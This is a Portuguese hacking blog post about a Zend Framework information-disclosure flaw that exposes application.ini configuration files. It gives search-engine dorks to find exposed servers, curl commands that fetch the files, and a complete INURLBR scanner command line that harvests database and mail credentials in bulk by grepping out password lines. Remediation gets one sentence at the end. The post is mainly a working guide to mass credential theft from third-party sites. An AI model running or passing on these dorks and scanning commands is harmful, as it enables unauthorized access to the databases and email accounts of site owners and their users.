Explorando falha no Zend Framework Full Info Disclosure again! again!
Autor: INURL Brasil | Publicado: 2015-09-08T06:05:00-03:00


3xpl0r4nd0 Z3nd Fr4m3w0rk Full 1nf0 D15cl05ur3





4Ga1n!&nbsp;4Ga1n!&nbsp;4Ga1n!&nbsp;4Ga1n!&nbsp;4Ga1n!&nbsp;4Ga1n!&nbsp;4Ga1n!&nbsp;4Ga1n!&nbsp;4Ga1n!&nbsp;4Ga1n!&nbsp;



Pois bem meus amigos o blog estava meio parado devido algumas coisas que tenho feito, mas arrumei um tempinho as 3 da madruga pra escrever esse humilde texto e passar algo meio velho, mas que ainda está em alta. devido a falta de atenção de muitos desenvs &amp; admins.

Trata-se de uma falha no Framework Zend que possibilita acessar arquivos de configuração da aplicação local.
Acessar informações como:


'mail.transport.username'
'mail.transport.password'
'db.adapter'
'db.params.host'
'db.params.username'
'db.params.password'
'db.params.dbname'




Exemplo:


resources.mail.transport.host ="smtp.target.com.br"

resources.mail.transport.auth = "loginre"

sources.mail.transport.username = "wangxydlutre"

sources.mail.transport.password = "12333"


resources.db.adapter = "PDO_MYSQL"

resources.db.params.host = "mysql.target.com.br"

resources.db.params.username = "root"

resources.db.params.password = "123456"

resources.db.params.dbname = "db_app_teste"

Tais informações são encontradas no arquivo application.ini,db.ini,config.ini dentro da pasta /application/configs.



Exemplo de estrutura URL:

http://{taget}/pasta/application/configs/{arquivo}.ini
http://{taget}/application/configs/{arquivo}.ini


Acessando arquivo via CURL:
curl 'http://{target}/application/configs/application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)'







Com o conceito de como acessar tal arquivo e do que podemos encontrar no mesmo, vamos para buscar servidores.

DORK[s]:




site:br index of "/application/configs/"
inurl:/application/configs/application.ini
site:com ext:ini inurl:/application/ &nbsp;-inurl:"git*" -github -assembla -inurl:mozilla -inurl:google "params.password"
-site:.google.com -site:.github.com -site:.sourceforge.net -site:.googlecode.com inurl:/application/configs/ "params" ext:ini
inurl:/configs/ "params.password" db.ini ext:ini
-github.com -mozilla.org -.google.com inurl:/application/ &nbsp;ext:ini password





Agora vamos explora em massa com SCANNER inurlbr

Download da ferramenta:
https://github.com/googleinurl/SCANNER-INURLBR


Montar comando baseado nas informações que já sabemos, o principal intuito achar possíveis servidores através de motores de busca e já testar o possível conteúdo de cada url encontrada.
O script INURLBR já possui por padrão um conjunto de strings para tal validação:

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;

/* [*]ZEND FRAMEWORK

* Zend-Framework Full Info Disclosure

* The username and password of the database may be obtained trough&nbsp;

* the "application.ini" file

* https://www.exploit-db.com/exploits/29921/ */

$validation['ZEND-FRAMEWORK-01'] = 'mail.transport.username';

$validation['ZEND-FRAMEWORK-02'] = 'mail.transport.password';

$validation['ZEND-FRAMEWORK-03'] = 'db.params.username';

$validation['ZEND-FRAMEWORK-04'] = 'db.params.password';

$validation['ZEND-FRAMEWORK-05'] = 'db.params.dbname';

COMMAND

SET DORK:
--dork '{YOU_DORK}'ou
--dork-file 'arquivo_dorks.txt'
Use:
--dork 'site:br index of "/application/configs/"'ou
--dork-file 'zend-dorks.txt'



SET ARQUIVO DE&nbsp;SAÍDA:
-s '{FILE}'
Use:
-s 'zend.txt'



SET ID DOS MOTORES DE BUSCA:
-q '{ID}'
Use:

-q 1,6,7,14,22



SET FILTRO DE URLS:Só é incluída no loop de testes urls que contenham a string setada em tal parâmetro.
--ifurl '{STRING_VALIDATION}'

Use:

--ifurl 'configs'



SET REPLACE -&nbsp;MANIPULAÇÃO&nbsp;DE URL:

--replace 'OLD_STRIN[INURL]NEW_STRING'

Use:

--replace '/configs[INURL]/configs/application.ini#'


Manipulação de URL exemplo:
URL original vinda do motor de busca ou arquivo:
http://www.target.com.br/pasta/application/configs/languages/de/

URL modificada pelo replace:
http://www.target.com.br/pasta/application/configs/application.ini#/languages/de/

A function substituiu a string&nbsp;/configs por&nbsp;/configs/application.ini# e tudo depois do "#" é ignorado. 

SET COMANDO PERSONALIZADO:&nbsp;

Só vai executar tal comando se o script achar algo que seja considerado vulnerável.

--commnad-vul '{COMMAND_LINE}'

Use:

--command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"

OBS esse comando(command) é somente para mostrar as linhas de senha do arquivo explorado

COMANDO COMPLETO:

php inurlbr.php&nbsp;--dork 'site:br index of "/application/configs/"'&nbsp;-s 'zend.txt'&nbsp;-q&nbsp;1,6,7,14,22&nbsp;--replace '/configs[INURL]/configs/application.ini#'&nbsp;--command-vul "curl '_TARGETFULL_application.ini' --user-agent 'INURLBR/5.0 (X11; Linux x86_64)' | grep 'host\|username\|password\|dbname'"





PRINT OUTPUT:







SOLUÇÕES ????.htaccess&nbsp;personalizado.Permissões adequadas nas pastas afetadas.

http://thiagosantos.com/blog/186/webservers/alterando-o-arquivo-index-com-htaccess/
http://www.devin.com.br/apache-autoindex/
http://wiki.locaweb.com/pt-br/Alterando_a_permiss%C3%A3o_de_pastas_em_Linux
http://rberaldo.com.br/chmod-permissoes-em-sistemas-linux-e-unix-like/
http://www.vivaolinux.com.br/dica/Impedindo-listagem-de-diretorio-no-Apache
http://blog.inurl.com.br/2014/07/explorando-falha-no-zend-framework-full.html